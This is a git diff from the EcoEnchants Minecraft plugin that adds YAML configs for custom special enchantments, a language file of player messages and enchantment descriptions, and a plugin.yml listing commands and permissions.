\ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/annihilate.yml b/Plugin/src/main/resources/enchants/special/annihilate.yml new file mode 100644 index 00000000..18513683 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/annihilate.yml @@ -0,0 +1,26 @@ +# +# Annihilate EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Annihilate" + +description: Extreme Knockback. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - knockback + - tornado + - grapple + maximum-level: 2 + +config: + velocity-multiplier: 2.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/bladed.yml b/Plugin/src/main/resources/enchants/special/bladed.yml new file mode 100644 index 00000000..b3372669 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/bladed.yml @@ -0,0 +1,28 @@ +# +# Bladed EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Bladed" + +description: Trident deals extreme additional damage. + +obtaining: + table: true + villager: true + loot: true + rarity: veryspecial + +general-config: + grindstoneable: true + conflicts: + - impaling + - serrated + maximum-level: 5 + +config: + percent-more-base: 150 # Percent more damage to do as base + percent-more-per-level: 25 # Percent more damage to do per level + # To explain, Bladed V would be 275% more damage: 150 + (5*25) + # By default, Bladed I acts like Serrated VI diff --git a/Plugin/src/main/resources/enchants/special/bolt.yml b/Plugin/src/main/resources/enchants/special/bolt.yml new file mode 100644 index 00000000..acd02a2b --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/bolt.yml @@ -0,0 +1,25 @@ +# +# Bolt EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Bolt" + +description: Chance of striking powerful lightning on your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-level: 5 + allow-not-fully-charged: false # dont require sword attack to be at full charge + lightning-damage: 8 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/carve.yml b/Plugin/src/main/resources/enchants/special/carve.yml new file mode 100644 index 00000000..dd4b5def --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/carve.yml @@ -0,0 +1,25 @@ +# +# Carve EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Carve" + +description: Heavily damage all entities around attacked entity. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - cleave + maximum-level: 4 + +config: + damage-percentage-per-level: 25 + radius-per-level: 1.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/confusion.yml b/Plugin/src/main/resources/enchants/special/confusion.yml new file mode 100644 index 00000000..c328c39c --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/confusion.yml @@ -0,0 +1,24 @@ +# +# Confusion EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Confusion" + +description: Chance to shuffle your opponents hotbar. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-level: 2.5 #chance of shuffling opponents hotbar per level + allow-not-fully-charged: false #dont require sword attack to be at full charge \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/energizing.yml b/Plugin/src/main/resources/enchants/special/energizing.yml new file mode 100644 index 00000000..456554d7 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/energizing.yml @@ -0,0 +1,24 @@ +# +# Energizing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Energizing" + +description: Receive a short burst of haste after breaking a block. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + ticks-per-level: 8 + initial-level: 2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/frenzy.yml b/Plugin/src/main/resources/enchants/special/frenzy.yml new file mode 100644 index 00000000..a9b02da5 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/frenzy.yml @@ -0,0 +1,23 @@ +# +# Frenzy EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Frenzy" + +description: Gives strength after killing an entity. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + seconds-per-level: 1.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/harpoon.yml b/Plugin/src/main/resources/enchants/special/harpoon.yml new file mode 100644 index 00000000..3a0958e8 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/harpoon.yml @@ -0,0 +1,24 @@ +# +# Harpoon EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Harpoon" + +description: Hooking onto an entity will heavily damage it. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - spiked + maximum-level: 3 + +config: + damage-per-level: 2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/indestructibility.yml b/Plugin/src/main/resources/enchants/special/indestructibility.yml new file mode 100644 index 00000000..ee508d73 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/indestructibility.yml @@ -0,0 +1,24 @@ +# +# Indestructibility EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Indestructibility" + +description: Massively increases item durability. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - unbreaking + maximum-level: 3 + +config: + level-bonus: 4 # Indestructiblity 1 is the same as unbreaking +level, ie: indestructibility 3 with bonus 4 is the same as unbreaking 7 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/instability.yml b/Plugin/src/main/resources/enchants/special/instability.yml new file mode 100644 index 00000000..d5662955 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/instability.yml @@ -0,0 +1,24 @@ +# +# Instability EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Instability" + +description: Explosive arrows. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + fire: true + break-blocks: false \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/intellect.yml b/Plugin/src/main/resources/enchants/special/intellect.yml new file mode 100644 index 00000000..5e5840bd --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/intellect.yml @@ -0,0 +1,25 @@ +# +# Intellect EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Intellect" + +description: Massively increases dropped experience. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - splash + - wisdom + maximum-level: 3 + +config: + bonus-per-point: 1.2 #Increase per level relative to base \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/lifesteal.yml b/Plugin/src/main/resources/enchants/special/lifesteal.yml new file mode 100644 index 00000000..639bba75 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/lifesteal.yml @@ -0,0 +1,24 @@ +# +# Life Steal EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Life Steal" + +description: Heals a large portion of damage dealt. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - leeching + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.12 # Damage * Level * Multiplier is used to calculate how much health to heal diff --git a/Plugin/src/main/resources/enchants/special/pentashot.yml b/Plugin/src/main/resources/enchants/special/pentashot.yml new file mode 100644 index 00000000..fdac2331 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/pentashot.yml @@ -0,0 +1,25 @@ +# +# Pentashot EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Pentashot" + +description: Shoots 5 arrows. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - succession + - tripleshot + - buckshot + +config: + angle: 11 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/preservation.yml b/Plugin/src/main/resources/enchants/special/preservation.yml new file mode 100644 index 00000000..7c8f3ad8 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/preservation.yml @@ -0,0 +1,27 @@ +# +# Preservation EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Preservation" + +description: Massively reduces incoming damage. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: + - protection + - fire_protection + - projectile_protection + - blast_protection + maximum-level: 4 + +config: + percent-less-per-level: 5 # Points * Percent less / 100 * damage = damage taken \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/prosperity.yml b/Plugin/src/main/resources/enchants/special/prosperity.yml new file mode 100644 index 00000000..14509228 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/prosperity.yml @@ -0,0 +1,24 @@ +# +# Prosperity EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Prosperity" + +description: Massively increases maximum health. + +obtaining: + table: true + villager: true + loot: true + rarity: veryspecial + +general-config: + grindstoneable: true + conflicts: + - thrive + maximum-level: 3 + +config: + health-per-point: 2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/razor.yml b/Plugin/src/main/resources/enchants/special/razor.yml new file mode 100644 index 00000000..377607ab --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/razor.yml @@ -0,0 +1,31 @@ +# +# Razor EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Razor" + +description: Massively increases damage dealt. + +obtaining: + table: true + villager: true + loot: true + rarity: veryspecial + +general-config: + grindstoneable: true + conflicts: + - sharpness + - smite + - bane_of_arthropods + - defusion + - butchering + - ender_slayer + maximum-level: 5 + +config: + per-level-multiplier: 1.0 # Vanilla sharpness is 0.5*level + 0.5 extra damage. Razor formula is multiplier*level + base extra damage. + base-damage: 12.5 # Vanilla Smite 5/BOA 5 extra damage is 12.5 + decrease-if-cooldown: true \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/repairing.yml b/Plugin/src/main/resources/enchants/special/repairing.yml new file mode 100644 index 00000000..ba4ba37c --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/repairing.yml @@ -0,0 +1,26 @@ +# +# Repairing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Repairing" + +description: Automatically repairs items when not held. + +obtaining: + table: false + villager: true + loot: true + rarity: veryspecial + +general-config: + grindstoneable: true + conflicts: + - mending + - decay_curse + maximum-level: 3 + +config: + repeat-ticks: 100 # How often (in ticks) to repair items + multiplier: 1 # Amount to repair = multiplier * level. Does not accept decimals \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/soulbound.yml b/Plugin/src/main/resources/enchants/special/soulbound.yml new file mode 100644 index 00000000..4851b0ca --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/soulbound.yml @@ -0,0 +1,22 @@ +# +# Soulbound EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Soulbound" + +description: Keep this item on death. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + +config: + # No config is available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/spring.yml b/Plugin/src/main/resources/enchants/special/spring.yml new file mode 100644 index 00000000..63e97216 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/spring.yml @@ -0,0 +1,23 @@ +# +# Spring EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Spring" + +description: Increases jump height and distance. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + # No config is available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/streamlining.yml b/Plugin/src/main/resources/enchants/special/streamlining.yml new file mode 100644 index 00000000..d35adac2 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/streamlining.yml @@ -0,0 +1,23 @@ +# +# Streamlining EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Streamlining" + +description: Increases movement speed. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + speed-per-level: 0.02 # Base is 0.2 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/volatile.yml b/Plugin/src/main/resources/enchants/special/volatile.yml new file mode 100644 index 00000000..f95be517 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/volatile.yml @@ -0,0 +1,26 @@ +# +# Volatile EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Volatile" + +description: Explosive sword attacks. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + fire: false + break-blocks: false + allow-not-fully-charged: false + chance-per-level: 5 \ No newline at end of file diff --git a/Plugin/src/main/resources/lang.yml b/Plugin/src/main/resources/lang.yml new file mode 100644 index 00000000..6148e0fc --- /dev/null +++ b/Plugin/src/main/resources/lang.yml @@ -0,0 +1,186 @@ +# +# EcoEnchants +# by Auxilor +# + +config-version: 4.01 # Don't edit this. + +messages: + prefix: "&f[&aEcoEnchants&f] " + no-permission: "&cYou don't have permission to do this!" + not-player: "&cThis command must be run by a player" + reloaded: "Reloaded!" + got-special: "You got a &dSpecial &fenchantment!" + skip-added: "&aAdded &flore skip to item!" + skip-removed: "&cRemoved &flore skip from item!" + missing-enchant: "&cYou must specify an enchantment!" + not-found: "&cCannot find an enchantment matching name: &f%name%." + enchantinfo: | + %name%: &r%description% + &9Max Level: &r%maxlevel% + &9Can be applied to: &r%target% + &9Conflicts with: &r%conflicts% + outdated: "You are running an outdated version of &aEcoEnchants! &fCurrently running &e%ver%&f, newest version &e%newver%&f. Download at &a&lhttps://www.spigotmc.org/resources/ecoenchants.79573/" + +no-targets: "&cCannot be applied" +no-conflicts: "&cNo conflicts" + +curse-color: "&c" +not-curse-color: "&7" +special-color: "&d" +artifact-color: "&e" + +description-color: "&8" + +vanilla: + protection: + name: "Protection" + description: Reduces most types of damage. + + fire_protection: + name: "Fire Protection" + description: Reduces fire damage and burn time. + + feather_falling: + name: "Feather Falling" + description: Reduces fall damage. + + blast_protection: + name: "Blast Protection" + description: Reduces explosion damage and knockback. + + projectile_protection: + name: "Projectile Protection" + description: Reduces projectile damage. + + respiration: + name: "Respiration" + description: Extends underwater breathing time. + + aqua_affinity: + name: "Aqua Affinity" + description: Increases underwater mining speed. + + thorns: + name: "Thorns" + description: Reflects some of the damage taken when hit. + + depth_strider: + name: "Depth Strider" + description: Increases underwater movement speed. + + frost_walker: + name: "Frost Walker" + description: Turns water beneath the player into ice. + + binding_curse: + name: "Curse of Binding" + description: Items cannot be removed from armor slots. + + sharpness: + name: "Sharpness" + description: Increases damage. + + smite: + name: "Smite" + description: Increases damage against undead mobs. + + bane_of_arthropods: + name: "Bane of Arthropods" + description: Increases damage and slows arthropod mobs. + + knockback: + name: "Knockback" + description: Increases knockback. + + fire_aspect: + name: "Fire Aspect" + description: Sets target on fire. + + looting: + name: "Looting" + description: Increases mob loot. + + sweeping: + name: "Sweeping Edge" + description: Increases sweeping attack damage. + + efficiency: + name: "Efficiency" + description: Increases mining speed. + + silk_touch: + name: "Silk Touch" + description: Mined blocks drop themselves exactly. + + unbreaking: + name: "Unbreaking" + description: Increases item durability. + + fortune: + name: "Fortune" + description: Increases certain block drops. + + power: + name: "Power" + description: Increases arrow damage. + + punch: + name: "Punch" + description: Increases arrow knockback. + + flame: + name: "Flame" + description: Arrows set target on fire. + + infinity: + name: "Infinity" + description: Shooting consumes no regular arrows. + + luck_of_the_sea: + name: "Luck of the Sea" + description: Increases rate of good loot. + + lure: + name: "Lure" + description: Decreases fishing wait time. + + loyalty: + name: "Loyalty" + description: Trident returns after being thrown. + + impaling: + name: "Impaling" + description: Trident deals additional damage to ocean mobs. + + riptide: + name: "Riptide" + description: Trident launches player when thrown in water or while raining. + + channeling: + name: "Channeling" + description: Strikes lightning where trident lands during thunderstorms. + + multishot: + name: "Multishot" + description: Shoots 3 arrows. + + quick_charge: + name: "Quick Charge" + description: Decreases crossbow charging time. + + piercing: + name: "Piercing" + description: Arrows pass through multiple entities. + + mending: + name: "Mending" + description: Repair the item while gaining XP orbs. + + vanishing_curse: + name: "Curse of Vanishing" + description: Item destroyed on death. + + soul_speed: + name: "Soul Speed" + description: Increases walking speed on soul sand and soul soil. diff --git a/Plugin/src/main/resources/plugin.yml b/Plugin/src/main/resources/plugin.yml new file mode 100644 index 00000000..24f4ce60 --- /dev/null +++ b/Plugin/src/main/resources/plugin.yml @@ -0,0 +1,699 @@ +name: EcoEnchants +version: ${project.parent.version} +main: com.willfp.ecoenchants.Main +api-version: 1.15 +authors: [Auxilor] +website: willfp.com +load: STARTUP +depend: + - ProtocolLib +softdepend: + - WorldGuard + - GriefPrevention + - Towny + - FactionsUUID + - Lands + - AdvancedEnchantments + - NoCheatPlus + - AAC + - Matrix + - Spartan + +commands: + ecoreload: + description: Reloads config + permission: ecoenchants.reload + ecodebug: + description: Debug information + permission: ecoenchants.ecodebug + ecoskip: + description: Toggle hiding enchantments on item + permission: ecoenchants.skip + enchantinfo: + description: Show information about an enchantment + permission: ecoenchants.enchantinfo + +permissions: + ecoenchants.*: + description: All ecoenchants permissions + default: op + children: + ecoenchants.fromtable.*: true + ecoenchants.reload: true + ecoenchants.updateannounce: true + ecoenchants.enchantinfo: true + ecoenchants.ecodebug: true + ecoenchants.skip: true + ecoenchants.fromtable.*: + description: Allows getting all enchantments from an enchanting table + default: true + children: + ecoenchants.fromtable.beheading: true + ecoenchants.fromtable.dexterous: true + ecoenchants.fromtable.evasion: true + ecoenchants.fromtable.farmhand: true + ecoenchants.fromtable.fragilitycurse: true + ecoenchants.fromtable.illusionaspect: true + ecoenchants.fromtable.infernaltouch: true + ecoenchants.fromtable.instability: true + ecoenchants.fromtable.leeching: true + ecoenchants.fromtable.magmawalker: true + ecoenchants.fromtable.marksman: true + ecoenchants.fromtable.necrotic: true + ecoenchants.fromtable.slicing: true + ecoenchants.fromtable.spring: true + ecoenchants.fromtable.strayaspect: true + ecoenchants.fromtable.succession: true + ecoenchants.fromtable.tectonic: true + ecoenchants.fromtable.telekinesis: true + ecoenchants.fromtable.vampireaspect: true + ecoenchants.fromtable.wisdom: true + ecoenchants.fromtable.thor: true + ecoenchants.fromtable.streamlining: true + ecoenchants.fromtable.firststrike: true + ecoenchants.fromtable.finishing: true + ecoenchants.fromtable.criticals: true + ecoenchants.fromtable.supercritical: true + ecoenchants.fromtable.incandescence: true + ecoenchants.fromtable.abrasion: true + ecoenchants.fromtable.splash: true + ecoenchants.fromtable.extinguishing: true + ecoenchants.fromtable.goliath: true + ecoenchants.fromtable.optics: true + ecoenchants.fromtable.defusion: true + ecoenchants.fromtable.cerebral: true + ecoenchants.fromtable.grit: true + ecoenchants.fromtable.bosshunter: true + ecoenchants.fromtable.invigoration: true + ecoenchants.fromtable.rejuvenation: true + ecoenchants.fromtable.tripleshot: true + ecoenchants.fromtable.rapid: true + ecoenchants.fromtable.sating: true + ecoenchants.fromtable.reinforcement: true + ecoenchants.fromtable.soulbound: true + ecoenchants.fromtable.razor: true + ecoenchants.fromtable.prosperity: true + ecoenchants.fromtable.preservation: true + ecoenchants.fromtable.frenzy: true + ecoenchants.fromtable.butchering: true + ecoenchants.fromtable.proximity: true + ecoenchants.fromtable.enderslayer: true + ecoenchants.fromtable.protector: true + ecoenchants.fromtable.indestructibility: true + ecoenchants.fromtable.energizing: true + ecoenchants.fromtable.intellect: true + ecoenchants.fromtable.deflection: true + ecoenchants.fromtable.launch: true + ecoenchants.fromtable.permanencecurse: true + ecoenchants.fromtable.spearfishing: true + ecoenchants.fromtable.netherinfusion: true + ecoenchants.fromtable.replenish: true + ecoenchants.fromtable.flinch: true + ecoenchants.fromtable.electroshock: true + ecoenchants.fromtable.nocturnal: true + ecoenchants.fromtable.confusion: true + ecoenchants.fromtable.arcanic: true + ecoenchants.fromtable.pentashot: true + ecoenchants.fromtable.lumberjack: true + ecoenchants.fromtable.magnetic: true + ecoenchants.fromtable.repairing: true + ecoenchants.fromtable.callingcurse: true + ecoenchants.fromtable.blastmining: true + ecoenchants.fromtable.liquidshot: true + ecoenchants.fromtable.grapple: true + ecoenchants.fromtable.heartartifact: true + ecoenchants.fromtable.sparkleartifact: true + ecoenchants.fromtable.lavaartifact: true + ecoenchants.fromtable.dragonartifact: true + ecoenchants.fromtable.enchantmentartifact: true + ecoenchants.fromtable.smokeartifact: true + ecoenchants.fromtable.fireartifact: true + ecoenchants.fromtable.emeraldartifact: true + ecoenchants.fromtable.netherartifact: true + ecoenchants.fromtable.endartifact: true + ecoenchants.fromtable.waterartifact: true + ecoenchants.fromtable.totemartifact: true + ecoenchants.fromtable.redstoneartifact: true + ecoenchants.fromtable.zapartifact: true + ecoenchants.fromtable.musicartifact: true + ecoenchants.fromtable.snowartifact: true + ecoenchants.fromtable.witchartifact: true + ecoenchants.fromtable.honeyartifact: true + ecoenchants.fromtable.damageartifact: true + ecoenchants.fromtable.cloudsartifact: true + ecoenchants.fromtable.magicartifact: true + ecoenchants.fromtable.dustartifact: true + ecoenchants.fromtable.magmaartifact: true + ecoenchants.fromtable.inkartifact: true + ecoenchants.fromtable.zeus: true + ecoenchants.fromtable.kinetic: true + ecoenchants.fromtable.fireaffinity: true + ecoenchants.fromtable.parasitic: true + ecoenchants.fromtable.parry: true + ecoenchants.fromtable.hook: true + ecoenchants.fromtable.bleed: true + ecoenchants.fromtable.weakening: true + ecoenchants.fromtable.oxygenate: true + ecoenchants.fromtable.wateraspect: true + ecoenchants.fromtable.stamina: true + ecoenchants.fromtable.collateral: true + ecoenchants.fromtable.paladin: true + ecoenchants.fromtable.hungercurse: true + ecoenchants.fromtable.serrated: true + ecoenchants.fromtable.bladed: true + ecoenchants.fromtable.inferno: true + ecoenchants.fromtable.stab: true + ecoenchants.fromtable.tornado: true + ecoenchants.fromtable.extract: true + ecoenchants.fromtable.aerial: true + ecoenchants.fromtable.famine: true + ecoenchants.fromtable.annihilate: true + ecoenchants.fromtable.radiance: true + ecoenchants.fromtable.horde: true + ecoenchants.fromtable.vein: true + ecoenchants.fromtable.iceshot: true + ecoenchants.fromtable.puncture: true + ecoenchants.fromtable.shockwave: true + ecoenchants.fromtable.volatile: true + ecoenchants.fromtable.instantaneous: true + ecoenchants.fromtable.freerunner: true + ecoenchants.fromtable.bolt: true + ecoenchants.fromtable.dullness: true + ecoenchants.fromtable.ignite: true + ecoenchants.fromtable.cleave: true + ecoenchants.fromtable.carve: true + ecoenchants.fromtable.toxic: true + ecoenchants.fromtable.wateraffinity: true + ecoenchants.fromtable.forcefield: true + ecoenchants.fromtable.sycophant: true + ecoenchants.fromtable.chopless: true + ecoenchants.fromtable.greenthumb: true + ecoenchants.fromtable.spiked: true + ecoenchants.fromtable.harpoon: true + ecoenchants.fromtable.reel: true + ecoenchants.fromtable.shotassist: true + ecoenchants.fromtable.frozen: true + ecoenchants.fromtable.disappear: true + ecoenchants.fromtable.harmlessnesscurse: true + ecoenchants.fromtable.fury: true + ecoenchants.fromtable.levitate: true + ecoenchants.fromtable.breaklessnesscurse: true + ecoenchants.fromtable.decaycurse: true + ecoenchants.fromtable.misfortunecurse: true + ecoenchants.fromtable.venom: true + ecoenchants.fromtable.cranial: true + ecoenchants.fromtable.aquatic: true + ecoenchants.fromtable.buckshot: true + ecoenchants.fromtable.diverse: true + ecoenchants.fromtable.lifesteal: true + + ecoenchants.updateannounce: + description: Informs admins of a new update + default: op + ecoenchants.reload: + description: Allows reloading the config + default: op + ecoenchants.ecodebug: + description: Allows the use of /ecodebug to print verbose debug information to console + default: true + ecoenchants.skip: + description: Allows the use of /ecoskip to toggle hiding enchantments on an item + default: op + ecoenchants.enchantinfo: + description: Allows the use of /enchantinfo to show enchant info + default: true + + ecoenchants.fromtable.beheading: + description: Allows getting beheading from an enchanting table + default: true + ecoenchants.fromtable.dexterous: + description: Allows getting dexterous from an enchanting table + default: true + ecoenchants.fromtable.evasion: + description: Allows getting evasion from an enchanting table + default: true + ecoenchants.fromtable.farmhand: + description: Allows getting farmhand from an enchanting table + default: true + ecoenchants.fromtable.fragilitycurse: + description: Allows getting fragility curse from an enchanting table + default: true + ecoenchants.fromtable.illusionaspect: + description: Allows getting illusion aspect from an enchanting table + default: true + ecoenchants.fromtable.infernaltouch: + description: Allows getting infernal touch from an enchanting table + default: true + ecoenchants.fromtable.instability: + description: Allows getting instability from an enchanting table + default: true + ecoenchants.fromtable.leeching: + description: Allows getting leeching from an enchanting table + default: true + ecoenchants.fromtable.magmawalker: + description: Allows getting magma walker from an enchanting table + default: true + ecoenchants.fromtable.marksman: + description: Allows getting marksman from an enchanting table + default: true + ecoenchants.fromtable.necrotic: + description: Allows getting necrotic from an enchanting table + default: true + ecoenchants.fromtable.slicing: + description: Allows getting slicing from an enchanting table + default: true + ecoenchants.fromtable.spring: + description: Allows getting spring from an enchanting table + default: true + ecoenchants.fromtable.strayaspect: + description: Allows getting stray aspect from an enchanting table + default: true + ecoenchants.fromtable.succession: + description: Allows getting succession.yml from an enchanting table + default: true + ecoenchants.fromtable.tectonic: + description: Allows getting tectonic from an enchanting table + default: true + ecoenchants.fromtable.telekinesis: + description: Allows getting telekinesis from an enchanting table + default: true + ecoenchants.fromtable.vampireaspect: + description: Allows getting vampireaspect from an enchanting table + default: true + ecoenchants.fromtable.wisdom: + description: Allows getting wisdom from an enchanting table + default: true + ecoenchants.fromtable.thor: + description: Allows getting thor from an enchanting table + default: true + ecoenchants.fromtable.streamlining: + description: Allows getting streamlining from an enchanting table + default: true + ecoenchants.fromtable.firststrike: + description: Allows getting first strike from an enchanting table + default: true + ecoenchants.fromtable.finishing: + description: Allows getting finishing from an enchanting table + default: true + ecoenchants.fromtable.criticals: + description: Allows getting criticals from an enchanting table + default: true + ecoenchants.fromtable.incandescence: + description: Allows getting incandescence from an enchanting table + default: true + ecoenchants.fromtable.supercritical: + description: Allows getting supercritical from an enchanting table + default: true + ecoenchants.fromtable.abrasion: + description: Allows getting abrasion from an enchanting table + default: true + ecoenchants.fromtable.splash: + description: Allows getting splash from an enchanting table + default: true + ecoenchants.fromtable.extinguishing: + description: Allows getting extinguishing from an enchanting table + default: true + ecoenchants.fromtable.goliath: + description: Allows getting goliath from an enchanting table + default: true + ecoenchants.fromtable.optics: + description: Allows getting optics from an enchanting table + default: true + ecoenchants.fromtable.defusion: + description: Allows getting defusion from an enchanting table + default: true + ecoenchants.fromtable.cerebral: + description: Allows getting cerebral from an enchanting table + default: true + ecoenchants.fromtable.grit: + description: Allows getting grit from an enchanting table + default: true + ecoenchants.fromtable.bosshunter: + description: Allows getting boss hunter from an enchanting table + default: true + ecoenchants.fromtable.invigoration: + description: Allows getting invigoration from an enchanting table + default: true + ecoenchants.fromtable.rejuvenation: + description: Allows getting rejuvenation from an enchanting table + default: true + ecoenchants.fromtable.tripleshot: + description: Allows getting tripleshot from an enchanting table + default: true + ecoenchants.fromtable.rapid: + description: Allows getting rapid from an enchanting table + default: true + ecoenchants.fromtable.sating: + description: Allows getting sating from an enchanting table + default: true + ecoenchants.fromtable.reinforcement: + description: Allows getting reinforcement from an enchanting table + default: true + ecoenchants.fromtable.soulbound: + description: Allows getting soulbound from an enchanting table + default: true + ecoenchants.fromtable.razor: + description: Allows getting razor from an enchanting table + default: true + ecoenchants.fromtable.prosperity: + description: Allows getting prosperity from an enchanting table + default: true + ecoenchants.fromtable.preservation: + description: Allows getting preservation from an enchanting table + default: true + ecoenchants.fromtable.frenzy: + description: Allows getting frenzy from an enchanting table + default: true + ecoenchants.fromtable.butchering: + description: Allows getting butchering from an enchanting table + default: true + ecoenchants.fromtable.proximity: + description: Allows getting proximity from an enchanting table + default: true + ecoenchants.fromtable.enderslayer: + description: Allows getting ender slayer from an enchanting table + default: true + ecoenchants.fromtable.protector: + description: Allows getting protector from an enchanting table + default: true + ecoenchants.fromtable.indestructibility: + description: Allows getting indestructibility from an enchanting table + default: true + ecoenchants.fromtable.energizing: + description: Allows getting energizing from an enchanting table + default: true + ecoenchants.fromtable.intellect: + description: Allows getting intellect from an enchanting table + default: true + ecoenchants.fromtable.deflection: + description: Allows getting deflection from an enchanting table + default: true + ecoenchants.fromtable.launch: + description: Allows getting launch from an enchanting table + default: true + ecoenchants.fromtable.permanencecurse: + description: Allows getting curse of permanence from an enchanting table + default: true + ecoenchants.fromtable.spearfishing: + description: Allows getting spearfishing from an enchanting table + default: true + ecoenchants.fromtable.netherinfusion: + description: Allows getting nether infusion from an enchanting table + default: true + ecoenchants.fromtable.replenish: + description: Allows getting replenish from an enchanting table + default: true + ecoenchants.fromtable.flinch: + description: Allows getting flinch from an enchanting table + default: true + ecoenchants.fromtable.electroshock: + description: Allows getting electroshock from an enchanting table + default: true + ecoenchants.fromtable.nocturnal: + description: Allows getting nocturnal from an enchanting table + default: true + ecoenchants.fromtable.confusion: + description: Allows getting confusion from an enchanting table + default: true + ecoenchants.fromtable.arcanic: + description: Allows getting arcanic from an enchanting table + default: true + ecoenchants.fromtable.pentashot: + description: Allows getting pentashot from an enchanting table + default: true + ecoenchants.fromtable.lumberjack: + description: Allows getting lumberjack from an enchanting table + default: true + ecoenchants.fromtable.magnetic: + description: Allows getting magnetic from an enchanting table + default: true + ecoenchants.fromtable.repairing: + description: Allows getting repairing from an enchanting table + default: true + ecoenchants.fromtable.callingcurse: + description: Allows getting curse of calling from an enchanting table + default: true + ecoenchants.fromtable.blastmining: + description: Allows getting blast mining from an enchanting table + default: true + ecoenchants.fromtable.liquidshot: + description: Allows getting liquid shot from an enchanting table + default: true + ecoenchants.fromtable.grapple: + description: Allows getting grapple from an enchanting table + default: true + ecoenchants.fromtable.heartartifact: + description: Allows getting heart artifact from an enchanting table + default: true + 